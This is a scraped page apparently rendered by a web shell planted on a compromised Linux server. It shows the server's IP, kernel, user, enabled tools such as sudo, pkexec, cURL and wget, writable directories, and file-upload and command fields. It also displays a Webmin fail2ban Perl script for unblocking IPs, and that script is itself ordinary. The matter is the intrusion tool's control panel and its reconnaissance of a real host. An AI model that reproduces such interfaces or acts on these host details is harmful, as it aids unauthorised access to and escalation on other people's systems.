403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/fail2ban/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/webmin/fail2ban/unblock_jailed_ip.cgi
#!/usr/bin/perl
# Unblock specific IP in jail

use strict;
use warnings;
no warnings 'redefine';
no warnings 'uninitialized';
require './fail2ban-lib.pl';
our (%in, %text, %config);
&ReadParse();
&error_setup($text{'status_err_set'});

my $jail = $in{'jail'};
my @ips = split(/\0/, $in{'ip'});

# Error checks
$jail || &error($text{'status_err_nojail'});
@ips || &error($text{'status_err_noips'});

# Processes jails actions
my @jailips;
foreach my $ip (@ips) {
		&unblock_jailed_ip($jail, $ip);
		push(@jailips, $ip);
	}

# Log and redirect
&webmin_log('update', 'jail', $jail) if (@jailips);
&redirect($in{'return'} ? &get_referer_relative() : "list_status.cgi");

Youez - 2016 - github.com/yon3zu
LinuXploit